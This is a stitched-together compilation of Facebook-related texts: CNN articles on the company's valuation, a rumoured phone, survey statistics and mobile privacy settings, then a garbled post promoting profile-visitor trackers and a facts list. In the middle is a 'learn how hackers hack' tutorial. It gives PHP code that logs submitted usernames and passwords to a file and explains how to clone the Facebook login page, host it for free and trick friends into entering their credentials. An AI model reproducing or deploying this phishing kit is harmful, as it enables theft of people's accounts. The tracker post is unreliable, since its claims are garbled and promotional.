How much is Facebook really worth?

By Tom Foreman

Depending on who you talk to, Facebook is valued at more than $50 billion -- maybe even as much as $65 billion.

Forbes puts the social networking site's market value higher than Lockheed Martin, Boeing, Target, Sony, Nike and the major automakers.

But CNN spoke to some observers who aren't so bullish.

"Facebook's not worth $50 billion. I mean, it's just not," according to Douglas Rushkoff, an author and respected teacher on new media. "What people think is that Facebook in the future might be worth more than $50 billion, but for Facebook to be worth more than $50 billion it would have to become a permanent fixture."

Launched by Mark Zuckerberg just seven years ago in his Harvard dorm room, Facebook has been nothing less than a sensation. The site has almost 600 million worldwide users and enough influence to make its founder Time magazine's Person of the Year. Facebook is even getting credit for helping to topple regimes in the Middle East.

The recent hit movie, "The Social Network," certainly promoted the idea that Facebook is worth a fortune. The film itself has earned more than $220 million dollars in theaters worldwide.

But the $50 billion price tag came from a far less flashy source: Goldman Sachs. The investment firm reportedly paid $500 million for 1% of Facebook. And $500 million is 1% of $50 billion.

"No one is offering $50 billion at all for Facebook," said Lise Buyer of Class Five Group, a Silicon Valley firm that advises companies on going public.

Buyer is an analyst who makes her living helping investors figure out what companies, especially internet firms, are worth. And she says no one in Silicon Valley really has any idea about Facebook's value, even though they all concede it could be a lot.

"Oh, Facebook is definitely worth something because it's a company that's collected more personal information about 600 million ... individuals than any company has ever had access to before, and marketers love that information," she said.

Facebook's real fortune

That's the real fortune of Facebook: access to all that information about consumers. What music and movies we like, where we shop, how much we spend, what we eat, where we vacation, and who our friends are.

"We are the thing that Facebook has of value. We are the only thing they have to sell," said Rushkoff, who teaches media studies at NYU and the New School University.

Most Facebook users probably think they are customers of the site. Think again, Rushkoff says.

"The user's not the customer of Facebook. The user's the product," he said. "The customer at Facebook is the people paying Facebook, and who's paying Facebook? Market research firms and advertisers."

Zuckerberg, the boyish CEO, has long said the goal of Facebook is to connect people. Facebook also has repeatedly and publicly spoken about its commitment to protecting the privacy of its users.

But analysts say the judicious use of that information must inevitably form the economic backbone of the company, because it allows targeted ads to be put in front of the most likely buyers with unprecedented accuracy.

For Facebook, that's the potential gold mine -- and the risk. Because even the company does not know how the public will respond if Facebook tries to cash in on all that data.

"It's one thing for me to send that [information] to my friends," Buyer said. "It's something else for someone else to try to use that information to market to me. Now maybe, folks who will be marketed to will be happy to have ads from their real interests. Maybe they won't. We'll see."

To become a permanent fixture on the internet, Facebook must transform itself from a wildly popular social network into a money-making machine. And analysts say that will be tricky.

"When Facebook goes over that line ... as it will have to justify its valuation, and starts selling us and who we are to its real customers is when people are going to get that itchy feeling," Rushkoff said. "When you look at the ways in which people are actually committed to Facebook, it's not so strong that they can't move somewhere else."

Mystery finances

The company's finances are something of a mystery. No one outside of Facebook knows what the company is truly worth, or how much revenue it's bringing in.

"They're a private company so they don't really have to share what they are making or not making with us...or how they're making it," Rushkoff said.

And with ongoing legal battles over whether Zuckerberg truly had the original idea for Facebook, no one close to the financial records is talking.

When CNN contacted Goldman Sachs to ask why they thought it was worth investing $500 million in Facebook, the firm politely said, "No comment."

Facebook passed along the following statement: "We're focused on creating a useful service and building our business for the long term."

That long-term future may be Facebook's biggest challenge. Remember MySpace?

The Facebook's seven-year history is an eternity on the Internet, where other dreamers are hard at work, especially in Silicon Valley, trying to knock them off the top.

"Those of us who still mention Facebook ten years from now, will mention it in the same sentence as AOL, and Friendster, and MySpace," Rushkoff said. "As yet another thing that we thought was invincible and turned out to be another passing fad."

Will his dire prediction prove to be right? That ultimately will depend on how many people remain friends of Facebook as it tries to realize its full value, and how many do not.

Facebook is making a phone

By Brandon Griggs

A week after Facebook's bungled IPO comes fresh news to tantalize, or torment, the company's investors. The social-networking behemoth may be making a phone.

Facebook hopes to release its own smartphone by next year, according to a New York Times report quoting anonymous sources at the company and others who have been briefed on Facebook's plans. Facebook has already hired more than half a dozen former Apple engineers who worked on the iPhone, the report said.

We've heard this before. In 2010, TechCrunch reported that Facebook was building software for a phone and partnering with a third party to make the hardware. Citing their own sources, tech blog AllThingsD said last year the phone was code-named "Buffy" and would run on a version of Android modified to integrate Facebook's services.

Facebook's iPhone: The most ill-fated idea since Palm Pre?

But Sunday's Times report added new specifics such as an interview with a former iPhone engineer who said he recently met with Facebook CEO Mark Zuckerberg, who "peppered him with questions about the inner workings of smartphones," including the types of chips used. "It did not sound like idle intellectual curiosity, the engineer said."

A Facebook spokesman declined to comment on the report Monday. The company had referred the New York Times to a previous statement that said in part, "We're working across the entire mobile industry; with operators, hardware manufacturers, OS providers, and application developers."

A Facebook-built smartphone could allow users to more seamlessly send messages, post updates and share photos or article links. Although it makes apps for iPhones and iPads, Facebook is still not integrated into Apple's mobile operating system, for example.

The news arrives amid speculation that Facebook, facing new pressure as a public company, will need to develop fresh sources of mobile revenue and exert greater control over its mobile products as users spend more time networking on phones or tablets instead of laptops or desktops.

Opinion: Was Facebook's botched IPO a conspiracy?

"Mark (Zuckerberg) is worried that if he doesn't create a mobile phone in the near future that Facebook will simply become an app on other mobile platforms," a Facebook employee told the New York Times.

It also comes days after rival Google closed its $12.9 billion acquisition of Motorola Mobility, a deal that could let Google make its own smartphone, too.

Many tech bloggers believe such a move would be a bad idea for Facebook, in part because there's no clear-cut consumer need for a Facebook phone.

Henry Blodget of Business Insider wrote that Facebook would face stiff competition in the hardware business, an area where it has no experience and where profit margins are historically low.

"So instead of building a phone, which seems like a desperate move, Facebook should partner with every operating system and carrier and hardware maker it can to try to embed this social platform within every mobile platform," Blodget said. "And it should build great apps to float on top of these systems."

In a post titled "It'll Be A Miracle If The Facebook Phone Doesn't Suck," TechCrunch's Alexia Tsotsis was more blunt.

"Making phone hardware is hard work, much harder than anything Facebook has ever attempted in the past," she wrote.

"Basically, there are a million ways this project will fail, and just one way it will work: Facebook ostensibly could succeed by tapping into the opening in the mobile market where people want an alternative to poorly designed Android phones ? targeting people who would buy something other than an iPhone if the price point was $150 less and the design were at least a little bit more ambitious than what is currently available on Android."

10 fascinating Facebook facts and what they say about us

By Pete Cashmore

A study released this week revealed that 47% of Facebook users have swear words on their pages. A survey last week, meanwhile, showed that undergraduate men who talk about alcohol on Facebook tend to have more friends.

Whether it's our level of tolerance for swearing or the link between alcohol and bonding with friends, these Facebook studies provide intriguing insights into our online behaviors.

And yet I'd argue that Facebook surveys have a more fundamental role. With more than 600 million people actively using Facebook, these studies in fact provide a deeper understanding of our evolving cultural norms: our values, our morals and our changing relationships between one another.

Don't believe me? Here are some fascinating Facebook facts that just might serve as a peek into our 21st-century values.

1. 56% of Americans think it's irresponsible to friend your boss on Facebook

A survey released in February 2010 showed the majority of Americans don't find it socially acceptable to be Facebook friends with their boss. The study of 1,000 people by Liberty Mutual's Responsibility Project suggests that despite an increasing overlap between our work and home lives, we continue to value a separation between the two.

Meanwhile, 62% of those surveyed said it's wrong for a manager to befriend an employee on Facebook. And yet 76% of respondents said it was acceptable to befriend a peer on Facebook, suggesting what we truly value is that our work be judged on its merits rather than getting ahead based on personal relationships.

2. Facebook links about sex are shared 90% more than average

Facebook confirms the adage: Sex sells. From February until May 2010, social media scientist Dan Zarrella processed 12,000 links to news sites and blogs. He discovered that links about sex were 90% more likely to be shared on Facebook than any other subject matter.

He also discovered that links with positive sentiment were more likely to be shared on Facebook than those with negative viewpoints.

3. People in Facebook relationships are happier than single people

In February 2010, Facebook marked Valentine's Day by comparing the relationship status of its users to their happiness -- this was surmised based on the level of positive or negative sentiment in the user's Facebook updates.

The result: Those in relationships were found to be slightly happier than single people. Those who were married or engaged were also happier than single people on average.

However, Facebook users in an "open relationship" -- where the partners are not exclusive to one another -- were significantly less happy than single people. Monogamy, it seems, makes us happy.

4. 21% of people would break up via Facebook

A June 2010 survey of 1,000 Facebook users -- 70% of whom were male -- found that 25% had been "dumped" via Facebook (via their significant other updating his or her relationship status).

Twenty-one percent of those surveyed said they would end a relationship by changing their Facebook relationship statuses to "single." While worrisome, the survey does show the majority of people do not split up via Facebook.

For this uncomfortable task, it seems, we still turn to more personal forms of communication. This particular study also appears to suffer from a little male bias -- a July 2010 survey found that 9% of women have initiated a breakup via Facebook, versus 24% of men.

5. 85% of women are annoyed by their Facebook friends

For women on Facebook, friends can sometimes be irritating. In a March study conducted by Eversave, 85% admitted to having been annoyed by their Facebook friends. Of these annoyances, the most cited was "complaining all the time" (63%).

Other pet peeves included "sharing unsolicited political views" (42%) and "bragging about seemingly perfect lives" (32%).

While I've yet to see a similar survey focused on men, it's probably safe to assume these feelings are universal: Our friends are a source of joy and occasional irritation.

6. 25% of households with a Facebook account don't use privacy controls

A June 2010 survey from Consumer Reports stated that "in one of four households with a Facebook account, users weren't aware of or didn't choose to use the service's privacy controls."

While Consumer Reports chose to interpret this finding in a negative light, I'd propose a contrary view: Seventy-five percent of households did take the time to understand Facebook's privacy controls, suggesting that privacy remains important to our society.

The same study stated that "Twenty-six percent of Facebook users with children had potentially exposed them to predators by posting the children's photos and names."

Again, the positive view would be that 74% of Facebook users with children did not post their photos and names -- suggesting that we value privacy.

7. 48% of parents friend their kids on Facebook

On the question of whether it's OK to friend your kids on Facebook, parents are roughly split down the middle -- 48% have chosen to do so. Respondents in a May 2010 survey by Retrevo admitted that this could be "awkward at times."

Parents were also asked about the minimum age at which their children should be allowed to sign up for Facebook or MySpace. Twenty-six percent of parents replied "over 18," 36% said "16 to 18," 30% said "13 to 15" and 8% said "under 13."

Opinions may be changing rapidly, however. A Consumer Reports survey released this month says the majority of parents of kids 10 and under "seemed largely unconcerned by their children's use" of Facebook.

8. 47% of Facebook users have profanity on their walls

As previously mentioned, a new study by the reputation management service Reppler has found that 47% of Facebook users have swear words on their walls, with these profanities being posted by a friend 56% of the time.

In other words: Nearly half of Facebook users are comfortable with swearing. The most common profanity on Facebook? No prizes for guessing: It's the "F-word."

9. 48% of people say they look at their ex's Facebook profile too often

In a January study by YouTango, 48% of respondents said they look at their ex's Facebook or other social-networking profile too often. The statistic illustrates one danger of social-networking profiles -- ex-partners are more accessible than ever.

But the survey also points to a degree of self-awareness among the respondents. While new technologies provide new temptations, it seems that many of us are able to control these behaviors.

10. 36% of under-35s check Facebook, Twitter or texts after sex

An October 2009 study by Retrevo suggested that social networks are becoming an increasingly important part of young people's lives. Among under-35s, 36% admitted to "tweeting, texting and checking Facebook after sex." Forty percent of respondents admitted to doing so while driving, 64% said they do so at work, and 65% use these communication channels while on vacation.

Here, we might conclude that the next generation is driving society into a less desirable direction: a world in which digital devices are never put down, even in the most inappropriate of situations.

And yet if Facebook is our guide, I'd say our cultural norms have remained intact. We continue to value professionalism. We find great rewards in human relationships -- and most of us try to exit them honorably.

On the whole, we continue to value privacy. We try to look out for our kids. And as we have been since time immemorial, we continue to be fascinated by sex -- after which we go straight to Facebook to find out what our exes are up to.

Facebook privacy settings finally go mobile

By Amy Gahran, Special to CNN

In response to user complaints about its privacy settings, Facebook in October debuted its privacy dashboard. But you could only use it from a computer.

This week, Facebook has made it easier for users to check and change their privacy settings from mobile devices, too.

In a December 8 blog post, Facebook product manager Rose Yao explained: "Now you can see a detailed view of the information you've shared with various applications and websites and adjust your settings on the go. A full list of all the applications you use, along with when they last accessed your information, is now available in the Applications and Websites section of your privacy settings."

This is an expansion of the mobile privacy controls Facebook rolled out this August, which apparently didn't give users quite as much control over privacy for specific Facebook applications as the updated mobile privacy controls do.

So far, this privacy control upgrade seems to be available only via theFacebook mobile web site and not through the popular Facebook smartphone apps. I just checked the Facebook app for Android and could not access my privacy settings there.

Hopefully later Facebook will roll out this feature to its smartphone apps, as it did for Facebook Places. Improving users' mobile access to their privacy settings is pretty important, since last month Facebook rolled out a single mobile sign-on for applications.

Inside Facebook's Josh Constine explained: "Apps which integrate with Facebook on iPhone and Android will query the Facebook for iPhone or Facebook for Android app to check to make sure a user is signed in. If they are, users simply need to click 'login' in the app to access it.

If they are logged out of Facebook via their phone's native app, they'll be prompted to log in to Facebook, but won't be making an app-specific Facebook login."

For example, "A big barrier to trying a Groupon is not wanting to sign-in or sign-up. Now users can quickly sign-in through Facebook and instantly buy a Groupon," wrote Constine.

Given that social media is one of the most popular things people do on their cell phones (both smartphones and web-enabled feature phones), it's important to be able to access and control your privacy settings wherever you are -- especially since Facebook is getting more integrated with other mobile apps.

Often the tradeoff for digital convenience is privacy. If privacy matters to you, it pays to know how to monitor and control your privacy as much as possible.

Track your facebook profile visitors

Author: Melayu

I know that has all those who are on facebook had the same burning questions as I do. How can I see who has shown my facebook profile? Where can I find a facebook Tracker? Since facebook has become so popular, so have the facebook profile stalkers. Could your friends, neighbors, ex-boyfriend or ex-girlfriends, or even someone you do not even know. We are fortunate to have the technology for 3rd party websites have to give the code so you can see who visits your profile. Bands on facebook Music find this sort of technology is very useful because it allows them to see their fans. Unfortunately, most of the code are offered by these sites eliminated because they violate of facebook's TOS (Terms of Service) to. Do not be disappointed at the moment, there are few alternatives.

I remember the short reign of several very popular sites that the profile of the spectators back, followed by their profile. Sites such as these members with a facebook tracker code they could into their facebook profile, under the supervision of the people who allowed viewed their profile. After entering the code, you have access to snoop to see all the profiles, which has viewed your profile. He even had their facebook pictures! This was very convenient for a short time, without notice, until it no longer. Obviously, this code violated facebook TOS and the code has been automatically clipped to your profile. After these pages quickly lost fan base. The millions left of facebook to find the question and try another facebook tracker.

Fortunately, there is a new feedback technology, you do not, you can track your visitors, but also tons of data about the type of visitors will see you coming. There are now several trackers out there, as MyFriendStats that not only allows you to track profiles and find out where the views are coming from. But now bands can even according to their statistics, fans and even demographics. You can create maps, view data and to understand even what your visitors are looking for. Software like this is for both the casual facebook user and bands trying to promote their music on facebook's excellent. With this information, you can easily understand your facebook profile viewers, and perhaps more people and potential fans to bring to your site. This is the easiest way to get famous on facebook.

The good news is out, now start tracking your facebook Profile viewers again.

Article Source: http://www.articlesbase.com/internet-articles/track-your-facebook-profile-visitors-1767274.html

About the Author

I'm a moderate and easy going , love blogging and writing...currently working as a dance tutor..

Learn How Hackers Hack your Facebook Account using Phishing Page

Note: Hacking is a crime. Dont use this tutorial to hack innocent people. I am teaching it for educational purpose only. I will not be responsible for any damage done by you.

This is to aware you that many bad guys using this trick to Hack you facebook account and to steal your username and password. So whenever you click any link provided by any personBeware.......Think Before you Click!!

• Always look at your address bar n see the address to know that you are actually seeing the site is genuine site or not.....

Some bad guys actual use phising n create fake pages to hack your facebook or any other account.

For this We need three files:
1.Fake facebook login page
2.Php file
3.Text file to store password

Create your php file
1.Open notepad and copy this code:

header (‘Location: https://login.facebook.com/login.php’);
$handle = fopen(“password.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($ handle, “\r\n”);
fclose($handle) ;
exit;
?>

2.Now save this as phishing.php
Your php file is now created
If you Don’t understand what this php file is doing you need to learn some basic of php.This php file will save information of victim in file password.txt

Create facebook fake login page
Now  go to http://www.facebook.com%20and/ right click / View Source.Copy source in notepad and save it as facebooklogin .html . and

Now open source code of this html file
We need to find the place where Login  code in facebook page that where send the user after clicking on it.
Now Press crtl-f after opening source code and   search for this code 
action=anything.
In this case we have this

action=”https://login.facebook.com/login.php?”

We replace that part with:

action=”phishing.php”

Save your facebooklogin.html file
Text file
Create a blank text file and name it password.txt
Now upload all the three files Facebooklogin.html,phishing.php,Password.txt in any free web hosting site directory like 100mb.com and now you can just check your fake facebook login page by going to http://yoursite.110mb.com/Facebooklogin.html for the fake login page.Just type some random user name and any password into the text box and then you will see in your file manager that a file called “Password.txt” is created,In which the password is stored.
You can use
http://www.justfree.com/
http://www.ripway.com/
also or any other free hosting site.
Suppose you register with name facebookhack.Your link will behttp://www.facebookhack.justfree.com/
After uploading files your phishing link will behttp://www.facebookhack.justfree.com/facebooklogin.html
Send this link to your friend if they login there their password will be save at the server .
You can trick your friend to login this fake facebook page by saying its new version of facebook check it out,or in any way you like

“This Article is made Only to Aware you about fake pages,  Use this on your own responsibility for educational purpose only .“

Amazing Facebook Facts

Facebook is the world’s No.1 social networking website. Few days before Google has also launched Google+ as an attack to Facebook, But rather as an attack it looks very similar to Facebook and its functions work mostly the way Facebook is working. But for now Facebook is on the top and Google+ project has lots of to beat the Facebook out of the game.Here are some facts and stats which helps you to learn why Facebook is at the top and why it is very difficult for any new social networking website to defeat Facebook.

• Facebook was founded by Mark Zuckerberg with their College friends.
• People spend over 700 billion minutes per month on Facebook.
• More than 600 million(60,00,00,000) active users it just like a twice the population of United states of America.
• More than 30 billion pieces of content shared each month.
• First Facebook was only limited to the Harvard students.
• More than 30 billion pieces of content shared each month.
• The number of mobile users of Facebook is twice the number of Non-mobile users.
• Facebook is not for the children below 13 but according to ConsumersReports.org there are more than 7.5 million children below 13 who used Facebook.
• Facebook get its name from Facemash then “Thefacebook” and finally today’s Facebook
• Facebook’s was worth of $41 billion and it is the third largest U.S.A web company.